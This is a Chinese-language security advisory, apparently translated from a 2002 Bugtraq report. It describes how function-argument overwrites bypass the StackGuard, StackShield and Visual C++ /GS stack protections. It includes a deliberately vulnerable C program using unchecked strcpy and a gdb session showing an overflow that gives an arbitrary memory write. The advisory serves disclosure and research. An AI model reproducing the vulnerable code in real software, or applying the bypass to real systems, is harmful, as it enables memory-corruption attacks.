首页 -> 安全研究

安全研究

安全漏洞
多种堆栈保护方案函数参数覆盖漏洞

发布日期:2002-04-24
更新日期:2002-04-29

受影响系统:
StackGuard StackGuard 2.0.1
StackGuard StackGuard 1.2.1
StackGuard StackGuard 1.2
Microsoft Visual C++.Net
StackShield StackShield 0.7-beta
描述:
BUGTRAQ  ID: 4586

目前存在多种堆栈保护方案如:StackShield、StackGuard、Microsoft Visual C++ .NET /GS等。

由StackGuard、StackShield、Microsoft Visual C++ .NET /GS等编译保护的程序由于对函数参数缺少保护,攻击者可绕过其保护机制而继续执行堆栈缓冲溢出攻击。

标准C编译的程序,函数参数存放在堆栈中返回地址以上的地址如:

低地址
        [ 本地变量            ]
        [ 保存的帧指针        ]
        [ CANARY (0x000dff0a) ]
        [ 返回地址            ]
        [ 函数参数            ]
高地址


攻击者可以控制堆栈中的函数参数,导致把任意值写到内存任意位置,这样在不改动CANARY值的情况下,绕过堆栈保护,成功执行缓冲区溢出攻击。

<*来源:Iván Arce (core.lists.bugtraq@core-sdi.com
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-04/0333.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Iván Arce (core.lists.bugtraq@core-sdi.com)提供了如下测试方法:

控制函数参数:

gera@vaiolent:~src/sg/tests$ cat >sg1.c <<_EOF_
/* sg1.c *
* specially crafted to feed your brain by gera@corest.com */


int func(char *msg) {
    char buf[80];


    strcpy(buf,msg);
    // toupper(buf); // here just to give func() "some sense"
    strcpy(msg,buf);
}


int main(int argv, char** argc) {
        func(argc[1]);
}
_EOF_


gera@vaiolent:~src/sg/tests$ make sg1
cc sg1.c -o sg1
gera@vaiolent:~src/sg/tests$ gdb sg1
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
(gdb) p "Tests performed on Immunix 7.0, for StackShield remove "Cnry"
(gdb) r
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa_EBPCnry_RETbbbb
(gdb) bt
#0 0x40094154 in strcpy () from /lib/libc.so.6
#1 0x8048469 in func ()
(gdb) x/3i $pc-3
0x40094151 <strcpy+17>: mov (%edx),%al
0x40094153 <strcpy+19>: inc %edx
0x40094154 <strcpy+20>: mov %al,(%ecx,%edx,1)
(gdb) x/s $edx
0xbffff95d: 'a' <repeats 79 times>, "_EBPCnry_RETbbbb"
(gdb) p/x $ecx+$edx
$2 = 0x62626262
(gdb) p "Now we can write anything anywhere"

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 暂时没有合适的临时解决方法。

厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/

StackGuard
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.immunix.org/

StackShield
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.angelfire.com/sk/stackshield/

浏览次数:3406
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障